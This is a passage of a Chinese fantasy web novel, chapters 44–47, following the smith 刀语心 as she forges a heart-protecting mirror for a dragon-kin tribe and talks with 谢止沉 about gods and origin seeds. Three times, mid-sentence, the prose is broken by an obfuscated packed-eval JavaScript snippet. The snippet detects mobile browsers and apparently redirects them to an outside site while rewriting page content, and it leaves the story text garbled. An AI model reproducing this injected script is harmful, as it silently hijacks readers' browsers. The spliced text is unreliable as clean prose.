但无论异兽向刀语心表达了多大的善意,在全然陌生的地方她并不会轻易放下警惕,而且她很好奇族长给的报酬中那些从未见过的材料。 她在屋子里走了一圈,发现木桌上的刻印很特别,是前所未有的复杂,而且还有些眼熟。 在记忆中思索片刻后,刀语心这像是检测器的加强版。 那么,从前无法检测的东西是否现在可以得到答案? 为了验证自己的猜想,刀语心先将灭灵剑放在其上,随着检测的光芒扫过整体剑身,很快面板跳在刀语心面前,上面展现着灭灵剑的所有信息。 最后一个未知特性也在此刻揭晓:枯萎之印——若注入纯净本源之力,将吞噬伤者生命力阻止伤势复原。 难怪刀语心身上的伤这么久都迟迟没有恢复迹象,不过她已经习惯疼痛,转头就去研究别的物件。 从前在遗迹中得到的黑白两色八面棱体,此刻悬在检测器的台面上,围绕着彼此旋转。 但这次面板上的字不再简单易懂,而是一串又一串晦涩难懂的字符,强烈的好奇心驱使着刀语心拿出锻造师成长指南开始逐字翻译。 八面棱体既是材料的一种,又可以作为单独点道具,作为个体具有不同的功效,而一起使用又能发挥出独特的作用。 “同频共振、干预、推算……修改概率?”视线来回扫过几遍后,她猛然合上手中的书,但这几个字眼始终飘荡在她的脑海中。 概率能被人为修改? 刀语心眉头紧皱,她盯着彼此交织盘旋的棱体,它们构造精巧,每一条棱边都在散发着不同寻常的光芒,那些光线彼此纠缠,那是不属于这个世界的色彩。 这让她对这个世界的认知更添几分虚妄。 如今这份礼物就摆在她的面前,未知以及一系列不可控性向来让刀语心惶恐,她担心这是潘多拉魔盒。 她站在桌前沉思许久,但最终,她抬起手掌触碰着棱体,两个棱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655435|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体因外力干涉而产生清脆的碰撞声。 既然命运让她获得这些超乎常理的东西,那么她会将其最大化利用。 黑白两色棱体各有各的作用,黑色棱体的特性为干预和共振,白色则是推算,只有二者彼此联结,修改概率的特性才会浮现。 不过,代价是什么? “……献祭与之等同的价码。” 翻译完最终注释后,刀语心拿出一枚金币就开始将其抛向空中,她在心中默念:让应有花纹的那一面朝上。 连续十次,都是一样的结果。 正当刀语心思索这需要付出什么代价时,她看见自己周围冒出淡蓝色的光芒,在不断飘向空中,然后消失得无影无踪。 这次的代价是法力值,她的法力耗尽了。 接着,她又如法炮制抛出十次,她感受到自己体内的表层异化之力消失了三分之一。 两次尝试下来,刀语心隐隐约约出现一个想法,她将白色的棱体拿在手心,使用着推算特性,她脑海中看见这个金币的结局。 无论刀语心此刻将其抛出多少次,最终的它都是作为货币流通在市场。 而在将手掌松开的瞬间,那枚金币消失在刀语心掌心,这便是推算需要付出的代价。 经过几次尝试后,刀语心得出结论:使用八面棱体需要付出的代价,取决于对现实世界造成多大的影响。 现在只剩下最后的问题,如何确定代价的类型? 这个问题刀语心不打算去推演,她有预感,问题的答案将是一个她支付不起的价码。 将浮在台上的棱体收起,刀语心本想先将木桌上的刻印记录下来,毕竟这是完整的检测器刻印,不过锻造师指南自动翻开,它已经将刀语心掌握的刻印记录在上面。 之所以从前没有显现,或许是因为刀语心从来没有意识到检测器是不完整。 被困在囚笼之中的人很难获得囚笼之外的视线。 所以,为什么刀语心从职业树上学到的刻印竟然是不完整的?这也是因为这个世界规则的制约? 能改变规则的恐怕只有那位高高在上的神明,但祂的动机又是什么? 在一无所知的情况下纠结答案毫无意义,刀语心静下心来,她拉开椅子坐在台前,梳理着这段时间的计划。 柔和的灯光照亮着刀语心的身影,笔尖落在纸张上的沙沙声和夜风相得益彰。 首要任务是锻造出护心镜完成异兽的委托,如果还有多余时间,她需要去改良之前造出的枪械,对于如何改进她有一个大致的想法,子弹追踪。 异形者穷追不舍的法术给她留下深刻印象,而她有足够的自信能将其复现在自己的造物之中。 卷轴在桌面上滚动铺开,刀语心将那些褶皱抚平。 随即那些极具复杂的线条和图形呈现在她的眼前,经过不知道几代传承的护心镜不仅包含着对族群延续的渴求,也容纳着无数锻造师的毕生心血。 在心底赞叹护心镜精妙绝伦的同时,也让刀语心感受到前所未有的棘手。 但她相信自己,她不会失败。 时间一分一秒地过去,在刀语心梳理好锻造的步骤后,她的余光扫过手腕上的赤红流光,色泽似乎变得有些不一样了,更加鲜红也更加深邃。 夜色静谧的屋外传来一些细微的响声。 从椅子上起身,刀语心几步打开房门,就看到站在门前的谢止沉,她径直坠入那双低垂着的红瞳之中。 见刀语心愣住,谢止沉以为是自己吓到她了。 “抱歉……”他的确在屋外踱步了很久,但没想到刀语心会提前察觉到他的存在。 但还没等话音落下,他就突然被刀语心拉向身后,只见在他们的不远处,许多异兽拿着武器对准谢止沉,无数警惕的目光盯上了他。 他是闯入者。 45. 第 45 章 无数武器反射的冷芒映入刀语心眼中,但她挡在谢止沉身前的步伐没有丝毫犹豫。 “刀语心小姐,请你让开,他是闯入者,我们不想伤到你。”为首的巡逻队头领表明来意。 “他是来找我的朋友,并没有恶意。” “对不起……我又给你添麻烦了。”听到头领的话后,谢止沉才想起他来得的确有些心急,以至于被监测到异常。 “没事的。”刀语心侧头轻声安抚道。 “很抱歉刀语心小姐,但他不请自来,不知用什么手段闯入法阵,我必须将他带走审讯。”头领能够感受到谢止沉身上危险的气息,他不可能放任一个危险份子在部落游荡。 正当刀语心在思考如何才能处理此刻的局面时,族长的声音传来: “大家放下武器吧,这位也是远道而来的客人。”话落,他慢悠悠的身影出现在大家视线范围内。 “可是族长……” “这个法阵和他有莫大渊源,自然进出随意。”明白头领在担忧什么的族长出言解释。 身为一族之长的话语自然令人信服,头领不再过多纠结,带着众异兽撤离,离开前还施法将院中一切恢复原样。 但族长并没有随着他们离去,他站在原地将视线投向刀语心身后的谢止沉。 “许久不见。” 像是多年未见的老友之间的问候,只是刀语心不知道族长口中的许久是多久。 她将目光移向身后的谢止沉,只见那双暗红眼眸中藏着许多她看不明白的情绪,接收到刀语心的视线后,谢止沉显而易见地慌乱起来。 “我……” “不用解释,等你什么时候想和我说,再告诉我就好。” 他看着月光照耀下的少女,她眼中没有任何他预想的质疑和不解,更没有他害怕的愤怒,她只是看着他,仅此而已。 “好,那我待会再回来找你。” 匆匆一面又匆匆告别后,族长带着谢止沉来到他的住处。 “没想到我真的再见到您,旧日之主。” “不必那么称呼我,我已经不再是了,你可以唤我现在的名讳,谢止沉。”说着这话的谢止沉眼眸低垂,很显然,他现在更想回到刀语心身边。 见谢止沉这副模样族长也不生气,只是笑眯眯地顺着胡须。 “命运真的很奇妙,您还记得从前赐予我的预言吗?” “记得。”那时的族长还很年轻,在万族来朝中拔得头筹,预言便是众多赏赐之一。 “命运指引着我来到这里,命运让我再次遇到您。我无意过多探究,我只是好奇,在陨落之后,您的目标又在何处。” 这个问题让谢止沉陷入沉思。 虽然谢止沉很想待在刀语心身边,但他也有些不知道该如何面对刀语心,无论是他为何和族长相识,还是他之前感受到那股相似的力量。 在撕裂空间传送至刀语心身边时,他也和异形者一样,感受到了刀语心最本质的力量 那股力量与他产生了深刻共鸣,他绝不会认错。 她也是最初的种子。 “她就是您一直在找的种子,对吧。” “……没错。” 即便在他察觉之前本能就已经对刀语心感到亲近,但他一直以来刻意没有将二者联系在一起,谢止沉从未想过刀语心会是另一枚原初之种,命运早已布下看不见摸不着的丝线将他们连结。 “如今您找到了她,那么曾经困扰着您问题的答案已经有定论了吗?” “还未。” 这也是谢止沉今晚有些异常的根源所在,在他原先预料之中的另一枚种子,可以说是完全与如今的刀语心完全相反。 预想和现实产生割裂,也让谢止沉无尽迷惘。 在谢止沉的设想中,另一枚原初之种是冷漠的,是无情的,是罪孽深重的。对方将他抛弃,消失得无影无踪。 但在发现这枚种子是刀语心后,谢止沉那些未曾言说的愤恨在一瞬间尽数化作空无。 他了解刀语心,甚至知晓她过往的一切记忆,很难想象她是抱着什么样的情感度过那一个个冰冷漆黑的夜晚。 所以自相矛盾的谢止沉陷入停滞,不过在此刻的一问一答下,他心中出现一个模糊的答案。 他说:“我只知道,我想陪在她的身边。” 这段时间以来的相处,让谢止沉明白,刀语心从来都不需要他的保护,她可以解决自己遇到的所有困境。 无法离开的人是他,他想要待在刀语心身边,他需要那极为珍贵的安全感。 “那您真的放下过往的一切了吗?再者,就算您真的放下了,但那些东西未必会放过您和她。” 身为万千之上的最高之种,必定会让无数鬣狗垂涎。 “我会做好准备。” 暗红双眸中划过一抹狠戾,这一次谁都别想把他和刀语心再次分开。 重新回到院中的谢止沉抬头看着天空中皎洁无瑕的月,他深呼吸后,悄声走向屋内。 门被轻轻推开,夜色已深,他不想打扰刀语心休息,但他很想见到她。 屋内还是被柔和的灯光照亮,他四处搜寻着刀语心的踪迹,再转眼,他就对上了刀语心的双眸。 “你回来了。” 刀语心撑着头看着谢止沉,另一只手在转着笔,这个点不是她睡觉的时间,再说在一个完全陌生的环境她会更难入睡。 “让你久等了。”说着,谢止沉走近后拉开另一张椅子坐下。 “没关系,我本来就没打算睡觉,嘶——” 刀语心往边上挪了一点位置,想和谢止沉分享一下自己的研究成果,只是她固定姿势太久,突然移动拉扯到腰部的伤口。 察觉不对的谢止沉瞬间展开治愈法术,力量流转过后,他发现刀语心受到的伤势有些熟悉。 “灭灵剑伤了你?”语调中是一种毫不掩饰的厌恶。 刀语心觉得谢止沉的语气像是要将剑折断,她开口为灭灵剑辩解:“是,但不全是剑的错。” 交谈之间,迟迟未能痊愈的伤势在谢止沉的治疗下转瞬恢复如初。 “我知道异形者一定被你杀死了,你有没有受到什么影响?”一心求死的异形者绝对有什么见不得人的打算,但真相被隐藏起来,刀语心不得而知。 虽然很想告诉刀语心不会担心,但谢止沉明白不将来由告诉刀语心一味地保护只会适得其反。 “异形者是神明饲养的宠物,死去的第一时间,神就会得知,连同凶手的手段,其中就包括本源之力的信息。” “简单来说,就是神会知晓是我杀死了异形者。” “那么,在神的眼里你是谁?”刀语心在听完的一瞬间就发现关键所在。 “如果你不想说……” “这不算什么秘密,我也不想什么都瞒着你。”谢止沉解释道,随后停顿片刻似乎是在思考如何更好地描述,他与神之间的复杂关系。 “在祂们的眼中,我大概是恶徒、凶手,如果祂们是主角,那么我就是站在对立面的反派人物。” “那我就是你的帮凶。”刀语心回应着。 故事中的反派都有一个悲惨的过去,刀语心觉得自己应该排得上号。 听到这话谢止沉发自内心露出浅笑,不论其他,有人无条件站在自己身边的感觉总归很好。 “在被神得知身份后,你会有什么危险吗?”这是刀语心最在意的核心问题。 “不会,我本身就是最大的危险。”虽然听起来有些狂妄,但事实就是如此,谢止沉从一开始就知道这点,他从不畏惧。 “好厉害啊——所以我们第一次见面的时候你真的中毒了吗?”刀语心歪着脑袋询问,她从来都不和愚笨沾边,很多事情她都知晓,只是她愿不愿意直接点出的区别。 有关于谢止沉的来历、力量、各种各样的手段以及超乎常人的知识面,她都一一记在心底。 “没有。”这次轮到谢止沉心虚地移开视线。 他一开始的确抱着利用的目的接近刀语心,但很多事情往往一开始和最终达到的结果都是完全不同的,他和刀语心的关系也是一样。 看见这样的谢止沉,刀语心只是轻笑出声,“别担心,至少我们现在已经是朋友了。” “当然。”无论如何,这点不会有丝毫的改变,谢止沉不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666168|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为任何原因对刀语心举起利刃。 视线一转,刀语心想起自己最开始的目的:“看,这就是族长交给我的委托。” 随着图纸被灯光照亮,刀语心将自己的拆解研究展现在谢止沉面前,她将复杂的图纸拆解分为不同的部分,准备依次突破。 异兽族群中也有锻造师,谢止沉也见过无数,但只需一眼他就知道这东西只有刀语心能锻造出来。 这个世界上毫无公平可言,有些人究其一生只能触摸到天才的门槛,而有些人自诞生的那一刻起就在更高的台阶上。 只有死亡才是绝对的公平。 “我大概会在这里停留三天,军团那边有什么动静吗?”有图纸和足够的材料,不需要从零开始,这也就花费不掉刀语心太多时间。 “暂时没有。”说到军团,谢止沉将简一的话语转述给刀语心。 对于公会想要合作的消息,刀语心没什么想法,但多个队友好过多个敌人,再者资源点是完全够用的,她和裴瑛都不是贪心到想垄断的人。 按照常规推理,最想独占的人就是商会和军团。 后者已经成为她的敌人,至于迟明煦,他如果想要反对,那刀语心只能祝他平安。 不过现在问题出在罗茜身上,从简一的话中可以得知,身为副会长的她立场尚不明确。 罗茜究竟站在哪一边? “关于合作我没什么问题,我现在只想知道究竟什么时间才会彻底发起冲突。”武器和保命护符都还没有完成。 “他们没有明说,但按照我的经验推断军团的兵力还在集结,大概还有一半的人在路上,至少还有一周的时间。”流光一直在无名镇四处获取谢止沉所需信息。 “足够了。”刀语心在心中计算着时间,“说起来,这次你离开有什么收获吗?”她并不是迫切想得到诅咒的解法,这只是朋友间的询问。 “有一些,但不多。”想起自己得知的信息,谢止沉还是有些不满意,他没有找到最终解法。 “这是他们特地研制的诅咒,专门用来针对高阶种子。” 听到这话的刀语心只是双手交叉撑着脑袋陷入思绪,目前已知的所有信息在脑海中闪过,她出声询问:“我记得你说过,种子可以被抢夺。” “没错,这就是诅咒被研制出来的原因之一。”说着,谢止沉将异形者的种子交给刀语心,看着那枚莹白色的珠子融入自己的掌心中,刀语心感受到自己的力量多了些许。 欲望是一切的驱动,拥有至高力量的人要么让他人感到敬畏,要么让他人垂涎,他们二者皆有。 “我还找到一个术式,可以用来追踪下咒者,要现在试试吗?”听到这话的刀语心点点头。 术式的驱动需要鲜血,在谢止沉完成复杂精密的法术构建后,一个规整的圆显现在二人面前,刀语心将血液滴落其中,球状液滴顺着无形的轨迹飘落到最中心。 “中央城。” 这也是天启者所在的地方,世家大族聚集,新世界的最中心,也将是刀语心的目的地之一。 能留在刀语心身边的时间并不多,为了将平安无事的消息传回给裴瑛,谢止沉得带着刀语心做出来的接收器回去一趟。 临别前,谢止沉将一样东西交给了刀语心。 “一件礼物,不知道你喜不喜欢。” 这是一个发饰,六瓣银白色花瓣活灵活现,其中流转着精密复杂的回路,可以根据调试,自动将头发束成不同的样式。 很快垂坠的发丝被一缕缕束起,她轻轻触碰着发饰回应,“我很喜欢,可以帮上我很多的忙。” 不仅仅是个装饰品,反而非常的实用,刀语心的头发很长,其中一个原因就是她并不喜欢经常打理,即便剪断,也会在不知不觉间重新留长。 如今有了这件礼物的帮助,反而能帮刀语心省下很多力气。 “你喜欢就好。”在谢止沉看来自己的礼物远不及刀语心送给他的具有价值,这件礼物还是太简单了一些,他之后会给刀语心寻找更好的东西。 简单告别后,屋中又只剩下刀语心一人,她觉得周围有些太过安静了。 不过她很快就反悔了。 46. 第 46 章 “刀语心姐姐,这是什么?” “这个呢?” “姐姐,那个又有什么用啊?” “刀语心姐姐……” 把自己平安的消息发给裴瑛后,刀语心痛苦地捂住额头。 一大早,两个半大的异兽小孩带着玄风找上了刀语心,他们就是玄雨玄雪,但刀语心并没有对付精力充沛小孩的经验,她只觉得滔滔不绝传入耳中的声音比异形者的攻击还恐怖。 在刀语心即将崩溃时,一道宛如天籁的声音响起:“好啦,来这边。” 围在刀语心周围的小孩子们听到声响后,转身朝对方涌去,那人将手中看起来像是玩具的东西交给玄雨玄雪,轻轻拍拍他们的脑袋说:“去外面玩吧。” “好诶——谢谢洛哥哥。” “先给我玩!” “是我先来的!” 重获宁静后刀语心重重地吐出一口气,她得救了。 再转眼,她和一双浅灰色的竖瞳对上,他的面部还有未褪去的鳞片在反射光芒,不过和之前见到的其他异兽相比,刀语心能够明显感觉他有些羸弱。 “刀语心小姐,打扰了,我是族群的锻造师玄洛,我来是想找你探讨一些有关锻造的事宜。” 他站在门外等着主人的应允。 “你好,请进来吧。”刀语心起身迎接,“真是感激不尽。” “是我们给你添麻烦了,小风他们这一辈的静大概全给了小霜,彼此是两个极端。”边说边走近后,玄洛看到摆放在桌面上的图纸。 “你是准备将部件拆分后分开锻造吗?” “对的,护心镜需要的特性太多,无法一次性全部赋上。”这样既能保证成功率,又能提高效率。 只是看着刀语心划分出的手稿以及标注,玄洛就觉得自己窥见恐怖天赋的一角,“前所未有的思路,真是天才之举。” “过奖了,我只是锦上添花。” 设计图中包含着的是无数前人的心血,刀语心很清楚自己只是负责将其复现出来。 他们就锻造问题上交谈良久,刀语心遇到的锻造师很少,几乎没有人和她交流过锻造,极为高效的沟通后,刀语心发现虽然同为锻造师,但她和玄洛发展和擅长方向是完全不同的。 简单来说就是刀语心更偏个体独特性,而玄洛则是群体实用性。 二者没有高低之分,但交换意见能让他们产生更多的思路和灵感,刀语心也从玄洛这里得知,如果要制造大批量的武器,就必须将突出点舍弃。 “你很厉害,但为什么不是你来锻造护心镜。” 即便研究方向不同,但只要多加练习再加材料堆砌成功率,玄洛造出护心镜应该不成问题。 “单论等级天赋技能,我的确比你多出许多,但在来到这个世界之后,那些我曾经拥有的一切都被某种屏障隔绝,再加上我的身体从出生以来都不是很好,族长并没有强求我锻造。” 又是被隔绝?这让刀语心想起自己家中残缺的检测器,她直觉这背后有什么不可告人的秘密,只不过当下并不是很好的解答时机。 “那你平时都锻造些什么?” “一般的武器,劳作工具,首饰玩具之类的,大家需要什么,我就造什么。”大概也是因为如此,玄洛才有办法对付年幼孩童。 但这样对有天赋的人来说太可惜了,明白刀语心的想法不过玄洛并没有辩解。 “我已经很幸运了,除了个别族裔,其他异兽大多血脉中传承的都是战斗本能,族长没有将我驱逐出去还鼓励我坚持自己,我的身体也不支持我追求那些远大理想。” “说起来,我想邀请你去我的工坊里看看,可以吗?” “当然。”刀语心也很好奇别的锻造师是怎么工作的。 只是说完后,刀语心突然感受到手腕上传来束缚感,不知为何流光突然收紧了。 一路走来,刀语心发现周围的藤蔓越来越多,它们最终都汇聚在她此行的目的地,也就是玄洛的工坊。 “你把线路都藏在藤蔓里,真厉害,我还以为异兽就是那种很原始的部落。” 这些藤蔓并不是自然产生的,而是一种类似传输线路的存在,仔细观察下来,传输不同的类型,藤蔓上的叶片纹路也有细微的差别。 “其他部落大概就是你想象的那样,但这里因为有我,所以变得不那么符合刻板印象。” 这种由内向外散发的自信像是星星的光亮,并不会灼痛人,只会让人心生赞赏。 看出刀语心的探究欲,玄洛也毫不藏私地给她讲解起来。 “这应该不是你规划线路的其中一环吧?”刀语心伸手轻碰一片羽毛,这羽毛柔软触感温暖,不过色泽鲜艳与整体风格相悖,似乎有法术流动的光彩。 但刀语心记得玄霜本相并没有羽毛的存在,只有冰冷坚硬的鳞片。 “这种羽毛来自另一个部落,不过很可惜他们并没有来这个世界,纵使他们千般不好,但羽毛甚为美丽,大家都很喜欢收藏。” 小插曲过去,刀语心和玄洛讲到自己遇到的阻碍。 虽然她在自动化制作阻隔装置有些成效,但毕竟那只是刀语心自己需要,而保命护符需要的人更多,量就越大,一番对比下来她的方式还是过于低效。 “我可以帮你设计,我相信有足够的时间你也可以自己做出来,但你现在很忙不是吗?在你离开之前,我保证可以完成。” 对于玄洛来说,这并不是什么难事,刀语心也没有推脱,“那就先谢过你了。” 日月流转,时间悄然流逝,在来到异兽族群的第四天刀语心将护心镜锻造完毕。 在最后一锤落下的瞬息,一股巨大的能量浪潮从中向四周喷发,不断向外蔓延,所有感受到能量震荡的生命都在同一时刻看向波动源头。 一时之间,所有的异兽都知晓,护心镜已经被刀语心成功锻造。 镜面此刻反射着刀语心的双眼,她正在确认细节是否都以完备,护心镜整体通透,在阳光的照射下闪烁着亮光,自镜体向外部镌刻着无数复杂纹路。 边缘是用特殊系法编织好的红绳,冲淡镜身的冰冷,不仅便于佩戴,更重要的是将无数寄托蕴含其中。 等刀语心放下护心镜,才发现玄姨已经来到院中等她许久,正当刀语心打算将护心镜交给玄姨,但被她推回。 “我不是来拿护心镜的,给,这是大家的心意,还请你收下它。” 玄姨手中的是一件用蓝色系羽毛织成的渐变披风,族群的大家都知道刀语心这几天没日没夜的锻造,所以纷纷拿出珍藏的羽毛拜托玄姨织成一份礼物。 从赖以生存之地流落到这个世界之后相当于遭受巨变,但如今护心镜被锻造出来,不由得心生希冀。 指腹上传来属于羽毛的柔软触感,刀语心也迟迟感受到异兽都向她投以感谢的目光。 或许,成为锻造师也是一个不错的选择? 从被迫选择职业的那一天开始,刀语心第一次有了这样的想法。 部落中央,异兽们放下手中的事物聚集于此,刀语心带着护心镜出现在高台,族长将其接过,然后挂在玄风脖子上,镜子和玄风差不多大,不过在成功契约后,护心镜也自动变小贴身。 见到这一幕后,欢呼声此起彼伏。 “刀语心小姐,感谢你为我们锻造出护心镜。” 护心镜是一剂强心针,可以保护血脉,对异兽来说,没有什么比族群的延续更加重要。 原本面目慈善的族长,不再掩饰自身气场,他气势如虹,眼神中充满坚定的神色向在场所有异兽高声说道: “即便颠沛流离,即便遭受本不该属于我们的苦难,但我们终将会把血脉不断延续下去,我们的族群终将生生不息。” 远处的异兽化为本相,玄霜发出第一声怒吼,在那之后龙啸声此起彼伏,久久不断。 回小院的路上,刀语心打算给谢止沉发消息,让他带自己回去,毕竟她不想再在高空飞行。 只是一个意想不到的身影站在院中,正是玄霜,见刀语心回来,玄霜抛来一个碧绿的果子。 “给我的?”刀语心接住后,见龙角少女高冷点头。 “谢谢。” 但刀语心知道,玄霜会特意来到这里,绝对不是给她一个果子这么简单,玄霜似乎在思索什么,刀语心等着她组织好措辞开口。 “母亲让我邀请你参加族群的祭典。” “啊?大姐,不是你和母亲说希望能邀请刀语心姐姐吗?”趴在玄霜肩头吃果子的玄风歪着脑袋疑惑道。 “你闭嘴。”玄霜语调中有种被戳破的局促。 一来一回下,明白事情缘由的刀语心浅笑,她回应道:“玄霜,谢谢你的邀请,我很开心能留下来。” “……不客气。”说完玄霜就转身大步离开。 但随后,刀语心远远听见玄风的痛呼:“哎呀,大姐你干嘛敲我,好痛!我不是你最爱的妹妹了吗呜呜呜……” 声响最终随着距离的拉远而消失,不过咬着果子走进屋里的刀语心,脸上依然挂着少有的笑意。 次日,随着第一缕日光洒落大地,累起的巨大篝火也被引燃,空气中飘荡的不是刀语心印象中刺鼻烟味,而是一种沁人心脾的清香。 “这是一种灵木,只有在碧落之泉停留过的地方才会长出,传说能带来好运,但事实上是燃烧后散发的香味会使各方面属性短暂提升。” 只来参加开幕仪式的玄洛站在刀语心身旁给她解释道。 “刀语心姐姐,我们一起去玩吧。” 和阳光一样灿烂的声音一听就是来自玄风,刀语心转头就看到玄风搭着玄霜朝她走来。 “去吧,玩得开心。”玄洛笑着和刀语心道别,他不打算参加祭典,答应帮刀语心制作的自动化图纸还在收尾阶段。 载着玄风的玄霜也抱着手说道:“走吧。” 她的声音依然冰冷,但已经熟悉玄霜性子的刀语心并不会被其中的冰寒冻伤。 异兽一族的祭典并不严肃,至少刀语心是这样觉得的,说是祭典,但其实更像是一种节日的氛围,无论异兽化作人形还是显露本相,目之所及都充斥着欢声笑语。 “说来有些冒昧,但你们这个种族究竟是什么物种?” 这是刀语心一直以来的疑问,她一开始只以为玄风是只小蜥蜴,但一转眼,玄风已经比初遇时长大了不少。 “我是龙!不是小蜥蜴!” 话落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15683872|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,玄风就张口,当场给刀语心喷出一团火焰,证明她所言绝非虚假。 没顾得上在自己肩上喷火的小龙,玄霜给刀语心认真解释道:“我们一族是翼蜥龙裔,理论上来说,的确和蜥蜴有些关系,但毫无疑问,我们比它们任何一脉都要强。” 身为延续万年的族群,玄霜说这话时语调冷冰冰,但不难感受到其中无比灼热的自信。 两姐妹带着刀语心在祭典中四处穿梭游玩,总指挥是玄风,而玄霜负责载着她还有给刀语心带路。 活跃在各个区域的大多都是年轻一辈,老一辈都聚在一起闲聊。 “阿玄,你有空织羽衣,怎么没空和我打一架?我记得从前你针里穿的可不是那羽线,是那些各式各样的神经。” 和玄姨同辈的友人打趣着她,一把夺过对方手中的酒杯,玄姨坐在一旁。 “你这酒醉熏天的老阿姨可别说我了,再说了,往日杀的满手是血,不就是为了如今能安安心心织东西吗?” 不过和打算安享晚年的长辈们不同,小一辈的异兽们特地设立一个擂台。 “玄霜,快来和我打架!” 听到声音,刀语心一行回头,再转眼,玄风已经来到刀语心手中,玄霜则是利落地翻越围栏跃上台面。 “被我打趴多少次了,你还不死心?” “早晚有一天,我会赢的!” 乐得清闲的刀语心坐在台下,吃着玄风递来的异兽小食,就这么看了起来。 黄昏日落后,玄风不知道跑哪里玩去了,而玄霜还在守擂台。 看着台上不断搏斗的卓越身姿,刀语心也发现玄霜的胜负欲不是一般的强烈,而且也只有在战胜强敌的那一瞬间,刀语心能够见到玄霜那短暂易逝的笑容。 看够打架的刀语心打算去别处走走。 趁着夜色,刀语心独自一人来到山坡上坐下,她看着光照来源的族群中央,欢声笑语的异兽们沉醉在庆贺之中。 恰巧这时,四处寻找刀语心的玄洛见到她的身影。 他拿着手中整理好的图纸,打算上前打招呼,但眼前突然闪过一瞬的赤红,再看过去时,刀语心身旁已经有另外一人的身影。 手中的纸页下意识被攥紧,玄洛停住脚步。 树丛响起窸窸窣窣的声音,同样在寻找刀语心的玄风探出个脑袋来。 她指挥着玄雨玄雪两兄弟载着自己来到玄洛身边后停下,开始嘀嘀咕咕起来:“原来刀语心姐姐在这里,不过我记得大姐好像和我说过这种时候不能去打扰对方。” “那个大哥哥和大姐姐看起来真般配。” “嗯嗯!” “……是啊。”一声轻不可闻的叹息后,玄洛扬起笑容,“走吧,我带你们去别的地方玩。” “好耶!”不打算影响刀语心的他们小声欢呼着。 对远处发生的一切毫不知晓的刀语心,正在放空地看着地下热闹的异兽族群,一阵气流吹过,鬓角发丝拂过,察觉到动静的刀语心侧头看去,发现是谢止沉来了。 “要去逛一逛吗?” “不了,我并没有被邀请。”他也不想打搅刀语心此刻的心情。 他走到刀语心身旁坐下,和她一起注视着眼前的一切。 最中央的巨大篝火还在不断燃烧,夜风会使火焰摇晃但火光永不熄灭,光亮抵御着无尽漆黑,也照亮着四周,到处洋溢着欢声笑语,希望的气息充斥着整个部落,而希望向来是最为珍贵的。 漫长的沉默后,刀语心出声打破寂静。 她说:“希望有一天,我也能安心地活在这个世界上。” 不再被救世会所操纵,不再被诅咒所束缚,她能够毫无负担毫无顾虑地怀揣着希望活下去。 “一定会有那一天的。” 如果这就是刀语心的愿望……那么,他会不惜一切代价去实现。 在刀语心待在异兽族群的期间,一场由她而起的风暴也正在酝酿。 与无名镇完全相反,处于残存区东北部的神域之中。 自刀语心将救世会妄图弑神的信息传出后,神殿就马不停蹄地四处追捕逆反者的踪迹,名单上大部分名字都被划掉,但还剩最后一人被圈起打上问号。 碍于这人不便处理,神殿高层聚在殿堂中会议。 “我记得他,他是那位半神阶锻造者在世上唯一的血亲,神明给予他苟活于世的权力。” “可这也和他有关不是吗?他必须向神证明他的忠心。” 争执间,众人将视线看向坐在长桌主位闭着眼面容冷寂的少年,他们都在等待他下令定夺。 一阵沉寂后,他睁眼,璀璨金光从中一闪而过,他开口道:“召他前来。” 空荡荡的大殿中,杂乱的声音打破静谧,在不断回响,漫长的步道有一前一后两道身影,前者身姿挺拔步伐稳健,后者戴着镣铐慌乱不堪。 “传召使大人,我已经把我知道的一切都告诉您了,现在是要让我去干什么啊?” 没有及时得到回答,身后之人眼中充斥着惶恐,他知道自己逃走会死,停下会死,前进似乎也不会得到更好的结局。 在被恐惧吞没之前,他终于听到了前方传来声响。 “祂要见你。” 47. 第 47 章 在启程返回无名镇之前,还有最后一段告别的时间。 “刀语心姐姐,我有空可以去找你玩吗?” “当然可以。”如果只是玄风一小只,刀语心觉得自己还是可以应付得来,“玄霜,我也很欢迎你来。” “……我知道了。”没想到刀语心会这么说的玄霜先是一愣,然后冷酷地回应着,不过眼中的错愕早就出卖了她,刀语心觉得这样的玄霜很有意思。 先前没有交给刀语心的图纸,玄洛也在此刻交给她。 越靠近刀语心,她身旁射出的那股视线就越是强烈,但玄洛这次没有停住步伐,此刻他只想将东西亲自交给刀语心。 “这是自动化流程图纸。”还有刀语心交给他用来研究的保命护符。 不过刀语心只留下图纸,把护符重新递回给玄洛,“虽然不知道能不能派上用场,但就当是我的礼物吧。” 感受着手中护符传来的重量,玄洛有些惊叹于刀语心的慷慨无私。 他知道这是刀语心自己推导出的护符,放在任何一个世界都将是炙手可热的造物,但如今被她轻而易举地送到自己的手中。 